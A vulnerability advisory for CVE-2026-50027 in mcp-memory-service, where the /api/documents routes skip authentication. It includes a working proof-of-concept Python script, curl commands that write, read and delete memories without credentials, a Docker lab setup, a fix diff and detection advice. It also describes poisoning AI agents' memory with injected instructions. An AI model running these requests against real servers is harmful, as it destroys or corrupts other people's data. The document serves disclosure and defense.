CVE-2026-50027: mcp-memory-service: Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete

In src/mcp_memory_service/web/api/documents.py the router is created with a bare APIRouter() and the file never imports Depends, so no route carries an auth guard. The router is mounted at /api/documents in web/app.py. The sibling /api/memories routes use Depends(require_write_access), which is why a request to them without credentials returns 401 while a request to the document routes returns 200.

The open routes are POST /upload, POST /batch-upload, GET /history, GET /search-content/{upload_id}, DELETE /remove/{upload_id} and DELETE /remove-by-tags. The advisory's proof of concept shows a single unauthenticated DELETE /api/documents/remove-by-tags wiping a memory that an authenticated user stored.

For teams that run this as shared memory for AI agents, three things follow. An attacker can poison the memory with content that later agents retrieve and treat as context. They can read recently uploaded document content and the upload history. And they can delete memories by tag, which causes permanent loss. Anyone who can reach the HTTP port can do this.

Affected: pip package mcp-memory-service below 10.67.1, when the HTTP REST server (memory server --http) is running. That includes deployments where MCP_API_KEY or OAuth is set, since the document routes ignore both. Stdio-only use does not expose these routes.

pip show mcp-memory-service

To test, request /api/documents/history without a key. A 200 response means it is open.

Upgrade to 10.67.1. The release notes tell users to upgrade immediately.

pip install --upgrade mcp-memory-service==10.67.1

The fix adds require_read_access and require_write_access dependencies to the document routes, which the advisory proposes. The sources give no other workaround. Until you upgrade, do not expose the HTTP port beyond localhost or a trusted network, and put an authenticating reverse proxy in front of it.

Search HTTP access logs for requests to /api/documents/upload, /api/documents/remove-by-tags, /api/documents/search-content/ and /api/documents/history that carry no X-API-Key or bearer token, or that come from unknown addresses. Look for memories you did not write, especially with tags like cve-poc, and for sudden loss of memories under tags your agents rely on. Restore from backup where deletions are found, and review memory content for injected instructions.

Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete

Summary

All HTTP routes under /api/documents/* in mcp-memory-service are served without any authentication dependency, even when the server is configured with an API key (MCP_API_KEY) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The /api/memories counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical.

Details

The documents.py router is instantiated without any router-level dependencies= parameter and the file does not import Depends at all, so no authentication guard is present on any of its routes:

• `src/mcp_memory_service/web/api/documents.py:33` — from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks (Depends is absent)
• `src/mcp_memory_service/web/api/documents.py:43` — router = APIRouter() (no dependencies= argument)

The affected endpoints and their data-flow sinks are:

| Route | Line (source) | Sink | Line (sink) |
| `POST /upload` | 149 | `storage.store(memory)` | 449 |
| `POST /batch-upload` | — | `storage.store(memory)` | — |
| `GET /history` | — | upload metadata response | — |
| `GET /search-content/{upload_id}` | 729 | memory content response | 781 |
| `DELETE /remove/{upload_id}` | — | storage deletion | — |
| `DELETE /remove-by-tags` | 687 | `storage.delete_by_tags(tags)` | 705 |

The router is mounted in src/mcp_memory_service/web/app.py:311:

app.include_router(documents_router, prefix="/api/documents")

No CORSMiddleware or authentication middleware applies to these routes at mount time.

By contrast, the equivalent write endpoint in memories.py is correctly protected:

# src/mcp_memory_service/web/api/memories.py:136
user: AuthenticationResult = Depends(require_write_access)

This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all documents.py routes.

PoC

Prerequisites

• Docker installed
• Repository cloned at repo

Build and run the container

docker build -t vuln-001-mcp-memory-poc \
  -f vuln-001/Dockerfile \
  repo

docker run -d --name vuln-001-poc-container \
  -p 18000:8000 vuln-001-mcp-memory-poc:latest

The container starts mcp-memory-service with MCP_API_KEY=poc-secret-key-12345, simulating a production deployment where the operator has enabled API-key authentication.

Execute the PoC

python3 vuln-001/poc.py \
  --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345

Attack chain (6 steps)

[STEP 1] GET /api/memories (no auth) → HTTP 401   ← auth guard is active on memories API
[STEP 2] POST /api/memories (with API key) → HTTP 200   ← legitimate user stores sensitive data
[STEP 3] GET /api/memories (with API key) → HTTP 200  memories_found=1   ← data confirmed
[STEP 4] POST /api/documents/upload (NO auth) → HTTP 200  upload_id=<uuid>   ← WRITE bypass
[STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200  memories_deleted=1   ← DELETE bypass
[STEP 6] GET /api/memories (with API key) → HTTP 200  memories_remaining=0   ← integrity impact confirmed

Step 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request.

Manual curl equivalent

# Confirm auth guard is active on /api/memories
curl -i http://127.0.0.1:18000/api/memories
# → 401 Unauthorized

# Write through document API — no credentials
printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt
UPLOAD_ID=$(
  curl -s -X POST http://127.0.0.1:18000/api/documents/upload \
    -F "file=@/tmp/poc.txt" -F "tags=cve-poc" |
  python3 -c 'import sys,json; print(json.load(sys.stdin)["upload_id"])'
)
# → 200 OK

sleep 3
curl -s "http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID"
# → content returned without authentication

# Delete by tag — no credentials
curl -i -X DELETE "http://127.0.0.1:18000/api/documents/remove-by-tags" \
  -H "Content-Type: application/json" -d '["cve-poc"]'
# → 200 OK, memories_deleted=1

Observed output

• GET /api/memories (no auth) returns 401 — the authentication guard is demonstrably active on the memories API.
• POST /api/documents/upload (no auth) returns 200 with a valid upload_id.
• DELETE /api/documents/remove-by-tags (no auth) returns 200 with memories_deleted=1.
• A subsequent authenticated GET /api/memories returns memories_remaining=0, confirming that legitimately stored data was destroyed by an unauthenticated request.

Remediation

Add Depends(require_write_access) / Depends(require_read_access) to every affected route in documents.py:

--- a/src/mcp_memory_service/web/api/documents.py
+++ b/src/mcp_memory_service/web/api/documents.py
-from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks
+from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks, Depends
 from ..dependencies import get_storage
+from ..oauth.middleware import require_read_access, require_write_access, AuthenticationResult

 async def upload_document(
     background_tasks: BackgroundTasks,
     file: UploadFile = File(...),
+    user: AuthenticationResult = Depends(require_write_access),

 async def batch_upload_documents(
     background_tasks: BackgroundTasks,
     files: List[UploadFile] = File(...),
+    user: AuthenticationResult = Depends(require_write_access),

-async def get_upload_status(upload_id: str):
+async def get_upload_status(upload_id: str, user: AuthenticationResult = Depends(require_read_access)):

-async def get_upload_history():
+async def get_upload_history(user: AuthenticationResult = Depends(require_read_access)):

-async def remove_document(upload_id: str, remove_from_memory: bool = True):
+async def remove_document(upload_id: str, remove_from_memory: bool = True,
+    user: AuthenticationResult = Depends(require_write_access)):

-async def remove_documents_by_tags(tags: List[str]):
+async def remove_documents_by_tags(tags: List[str],
+    user: AuthenticationResult = Depends(require_write_access)):

-async def search_document_content(upload_id: str, limit: int = 1000):
+async def search_document_content(upload_id: str, limit: int = 1000,
+    user: AuthenticationResult = Depends(require_read_access)):

Impact

This is a Missing Authentication for Critical Function (CWE-306) vulnerability affecting the HTTP REST server component of mcp-memory-service.

Who is impacted: Any operator who deploys the HTTP REST server (memory server --http) with MCP_API_KEY or OAuth enabled, expecting that only authenticated clients can access stored memories. The HTTP server is documented as a supported production feature for team/multi-client deployments.

Confidentiality: An unauthenticated attacker can read recently uploaded document content via GET /api/documents/search-content/{upload_id} and enumerate upload history via GET /api/documents/history. Stored memories may contain sensitive context such as personal notes, AI agent working state, or proprietary data.

Integrity: An unauthenticated attacker can inject arbitrary content into the memory store by uploading documents, polluting the AI agent's knowledge base with attacker-controlled data (memory poisoning / prompt injection surface).

Availability: An unauthenticated attacker can delete all memories matching any chosen tags via DELETE /api/documents/remove-by-tags, or delete individual documents via DELETE /api/documents/remove/{upload_id}, causing permanent loss of stored data.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONUNBUFFERED=1
ENV HF_HOME=/root/.cache/huggingface

WORKDIR /app

RUN apt-get update && apt-get install -y --no-install-recommends \
 build-essential \
 && rm -rf /var/lib/apt/lists/*

# Install CPU-only torch first to avoid pulling the large CUDA wheel from PyPI
RUN pip install --no-cache-dir \
 "torch>=2.0.0" \
 --index-url https://download.pytorch.org/whl/cpu

# Copy and install the mcp-memory-service from the local repo
COPY . /app
RUN pip install --no-cache-dir -e .

# Pre-download the sentence-transformers embedding model so the container
# can run fully offline and starts quickly
RUN python -c "from sentence_transformers import SentenceTransformer; m = SentenceTransformer('all-MiniLM-L6-v2'); v = m.encode(['preflight']); print('Embedding model ready, dim=' + str(len(v[0])))"

# ── Runtime config ──────────────────────────────────────────────────────────
# MCP_API_KEY is set to simulate a production deployment where the operator
# has enabled API-key authentication. The bug is that /api/documents/* routes
# ignore this key entirely.
ENV MCP_API_KEY=poc-secret-key-12345
ENV MCP_MEMORY_STORAGE_BACKEND=sqlite_vec
ENV MCP_HTTP_PORT=8000
ENV MCP_HTTP_HOST=0.0.0.0
ENV MCP_MDNS_ENABLED=false
ENV MCP_CONSOLIDATION_ENABLED=false
ENV MCP_BACKUP_ENABLED=false
ENV MCP_QUALITY_SYSTEM_ENABLED=false
# Prevent any outbound HuggingFace requests at runtime
ENV TRANSFORMERS_OFFLINE=1
ENV HF_DATASETS_OFFLINE=1

EXPOSE 8000

CMD ["python", "run_server.py"]

poc.py

#!/usr/bin/env python3
"""
PoC – VULN-001: Missing Authentication on Document API Endpoints
CWE-306 Missing Authentication for Critical Function
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Attack chain:
 1. GET /api/memories (no auth) → 401 (auth guard confirmed active)
 2. POST /api/memories (with API key) → 200 (legitimate write)
 3. GET /api/memories (with API key) → 200 (data exists)
 4. POST /api/documents/upload (NO auth!) → 200 (write bypass)
 5. DELETE /api/documents/remove-by-tags (NO auth!) → 200 (delete bypass)
 6. GET /api/memories (with API key) → memory is GONE

Step 6 proves an unauthenticated attacker destroyed data created by a
legitimate, authenticated user — confirming full integrity impact.

Usage:
 python3 poc.py [--host 127.0.0.1] [--port 8000] [--api-key poc-secret-key-12345]
"""

import sys
import time
import json
import uuid
import argparse
import http.client

MARKER = "VULN001_AUTH_BYPASS_" + uuid.uuid4().hex[:12].upper()
TARGET_TAG = f"vuln001-target-{uuid.uuid4().hex[:6]}"


# ─── low-level helpers ───────────────────────────────────────────────────────

def http_req(host, port, method, path, body=None, headers=None, timeout=20):
 conn = http.client.HTTPConnection(host, port, timeout=timeout)
 h = dict(headers or {})
 conn.request(method, path, body=body, headers=h)
 resp = conn.getresponse()
 return resp.status, resp.read().decode("utf-8", errors="replace")


def wait_ready(host, port, timeout=120):
 print(f"[*] Waiting for server at {host}:{port} …", flush=True)
 deadline = time.time() + timeout
 while time.time() < deadline:
 try:
 s, _ = http_req(host, port, "GET", "/api/health", timeout=2)
 if s == 200:
 print("[+] Server ready\n", flush=True)
 return True
 except Exception:
 pass
 time.sleep(1)
 return False


def build_multipart(boundary, filename, file_bytes, tags_str):
 b = boundary.encode()
 return b"".join([
 b"--" + b + b"\r\n",
 b'Content-Disposition: form-data; name="file"; filename="' + filename.encode() + b'"\r\n',
 b"Content-Type: /plain\r\n\r\n",
 file_bytes,
 b"\r\n--" + b + b"\r\n",
 b'Content-Disposition: form-data; name="tags"\r\n\r\n',
 tags_str.encode(),
 b"\r\n--" + b + b"--\r\n",
 ])


# ─── individual test steps ───────────────────────────────────────────────────

def step_memories_no_auth(host, port):
 """GET /api/memories without auth must return 401."""
 print("[STEP 1] GET /api/memories (no auth — expect 401)", flush=True)
 status, body = http_req(host, port, "GET", "/api/memories")
 ok = (status == 401)
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status}", flush=True)
 return ok, status


def step_store_memory_with_auth(host, port, api_key):
 """POST /api/memories with API key — store a 'legitimate' memory."""
 print(f"[STEP 2] POST /api/memories (with API key, tag={TARGET_TAG})", flush=True)
 payload = json.dumps({
 "content": f"Sensitive memory — {MARKER}",
 "tags": [TARGET_TAG, "vuln001-demo"],
 "memory_type": "observation",
 "metadata": {"poc": "VULN-001"}
 }).encode()
 headers = {
 "Content-Type": "application/json",
 "Content-Length": str(len(payload)),
 "X-API-Key": api_key,
 }
 status, body = http_req(host, port, "POST", "/api/memories", payload, headers)
 ok = status in (200, 201)
 content_hash = None
 try:
 content_hash = json.loads(body).get("content_hash")
 except Exception:
 pass
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} hash={content_hash}", flush=True)
 if not ok:
 print(f" body: {body[:300]}", flush=True)
 return ok, status, content_hash


def step_verify_memory_exists(host, port, api_key):
 """GET /api/memories with auth — confirm the memory is stored."""
 print("[STEP 3] GET /api/memories (with API key — confirm data exists)", flush=True)
 headers = {"X-API-Key": api_key}
 status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers)
 ok = status == 200
 count = 0
 try:
 data = json.loads(body)
 count = data.get("total", len(data.get("memories", [])))
 except Exception:
 pass
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_found={count}", flush=True)
 return ok, status, count


def step_upload_no_auth(host, port):
 """POST /api/documents/upload without any credentials — should return 200."""
 print("[STEP 4] POST /api/documents/upload (NO auth — expect 200)", flush=True)
 boundary = "PocBoundary" + uuid.uuid4().hex
 payload = f"EVIDENCE: {MARKER}\nUploaded without authentication — VULN-001.\n".encode()
 body = build_multipart(boundary, "poc_vuln001.txt", payload, "poc-evidence,vuln001-demo")
 headers = {
 "Content-Type": f"multipart/form-data; boundary={boundary}",
 "Content-Length": str(len(body)),
 }
 status, resp = http_req(host, port, "POST", "/api/documents/upload", body, headers)
 upload_id = None
 try:
 upload_id = json.loads(resp).get("upload_id")
 except Exception:
 pass
 ok = status == 200 and upload_id is not None
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} upload_id={upload_id}", flush=True)
 if not ok:
 print(f" body: {resp[:300]}", flush=True)
 return ok, status, upload_id


def step_delete_no_auth(host, port):
 """DELETE /api/documents/remove-by-tags without auth — should return 200."""
 print(f"[STEP 5] DELETE /api/documents/remove-by-tags (NO auth, tag={TARGET_TAG})", flush=True)
 # FastAPI 0.100+ treats List[str] in DELETE as request body (JSON array)
 body = json.dumps([TARGET_TAG, "vuln001-demo"]).encode()
 headers = {
 "Content-Type": "application/json",
 "Content-Length": str(len(body)),
 }
 status, resp = http_req(
 host, port, "DELETE", "/api/documents/remove-by-tags",
 body=body, headers=headers
 )
 ok = status == 200
 deleted = 0
 try:
 deleted = json.loads(resp).get("memories_deleted", 0)
 except Exception:
 pass
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_deleted={deleted}", flush=True)
 if not ok:
 print(f" body: {resp[:300]}", flush=True)
 return ok, status, deleted


def step_verify_memory_gone(host, port, api_key):
 """GET /api/memories with auth — confirm attacker wiped the data."""
 print("[STEP 6] GET /api/memories (with API key — verify data was deleted)", flush=True)
 headers = {"X-API-Key": api_key}
 status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers)
 ok = status == 200
 count = 0
 try:
 data = json.loads(body)
 count = data.get("total", len(data.get("memories", [])))
 except Exception:
 pass
 data_deleted = (ok and count == 0)
 print(f" {'PASS' if data_deleted else 'NOTE'} HTTP {status} memories_remaining={count}", flush=True)
 if data_deleted:
 print(" [+] Memory wiped by unauthenticated attacker — integrity impact confirmed!", flush=True)
 return ok, status, count


# ─── main ────────────────────────────────────────────────────────────────────

def main():
 ap = argparse.ArgumentParser(description="VULN-001 PoC — CWE-306 auth bypass")
 ap.add_argument("--host", default="127.0.0.1")
 ap.add_argument("--port", type=int, default=8000)
 ap.add_argument("--api-key", default="poc-secret-key-12345",
 help="API key configured on the server (simulates legitimate user)")
 args = ap.parse_args()

 print("=" * 65)
 print("VULN-001 Missing Authentication on Document API Endpoints")
 print("CWE-306 / CVSS 9.8 (Critical)")
 print("=" * 65 + "\n")

 if not wait_ready(args.host, args.port):
 print("[-] Server did not become ready", flush=True)
 sys.exit(2)

 r = {}

 # Step 1 — baseline: auth IS enforced on /api/memories
 ok1, s1 = step_memories_no_auth(args.host, args.port)
 r["step1_auth_guard_active"] = {
 "pass": ok1,
 "evidence": f"GET /api/memories (no auth) → HTTP {s1}"
 }

 # Step 2 — legitimate user stores a sensitive memory
 ok2, s2, content_hash = step_store_memory_with_auth(args.host, args.port, args.api_key)
 r["step2_legitimate_write"] = {
 "pass": ok2,
 "evidence": f"POST /api/memories (with API key) → HTTP {s2}"
 }

 # Step 3 — confirm memory exists
 ok3, s3, mem_count = step_verify_memory_exists(args.host, args.port, args.api_key)
 r["step3_data_present"] = {
 "pass": ok3 and mem_count > 0,
 "evidence": f"GET /api/memories (with API key) → HTTP {s3}, count={mem_count}"
 }

 # Step 4 — attacker uploads without auth (WRITE bypass)
 ok4, s4, upload_id = step_upload_no_auth(args.host, args.port)
 r["step4_upload_auth_bypass"] = {
 "pass": ok4,
 "evidence": f"POST /api/documents/upload (NO auth) → HTTP {s4}"
 }

 # Step 5 — attacker deletes WITHOUT auth (DELETE bypass)
 ok5, s5, deleted = step_delete_no_auth(args.host, args.port)
 r["step5_delete_auth_bypass"] = {
 "pass": ok5,
 "evidence": f"DELETE /api/documents/remove-by-tags (NO auth) → HTTP {s5}, deleted={deleted}"
 }

 # Step 6 — verify legitimate data is gone
 ok6, s6, remaining = step_verify_memory_gone(args.host, args.port, args.api_key)
 r["step6_integrity_impact"] = {
 "pass": ok6 and remaining == 0,
 "evidence": f"GET /api/memories (with API key) after attack → count={remaining} (was {mem_count})"
 }

 print("\n" + "=" * 65)
 print("RESULTS SUMMARY")
 print("=" * 65)
 for k, v in r.items():
 sym = "PASS" if v["pass"] else "FAIL"
 print(f" [{sym}] {v['evidence']}", flush=True)

 # Core bypass: /api/memories returns 401 BUT /api/documents/* returns 200 without auth
 bypass_proven = ok1 and ok4
 delete_bypass = ok1 and ok5

 print("\nKey evidence:")
 print(f" Auth guard ACTIVE : GET /api/memories (no auth) → HTTP {s1}")
 print(f" Write BYPASS : POST /api/documents/upload (no auth) → HTTP {s4}")
 print(f" Delete BYPASS : DELETE /api/documents/remove-by-tags (no auth) → HTTP {s5}")

 overall = "PASS – auth bypass confirmed" if (bypass_proven or delete_bypass) else "FAIL"
 print(f"\nVerdict: {overall}")
 print("=" * 65)
 sys.exit(0 if (bypass_proven or delete_bypass) else 1)


if __name__ == "__main__":
 main()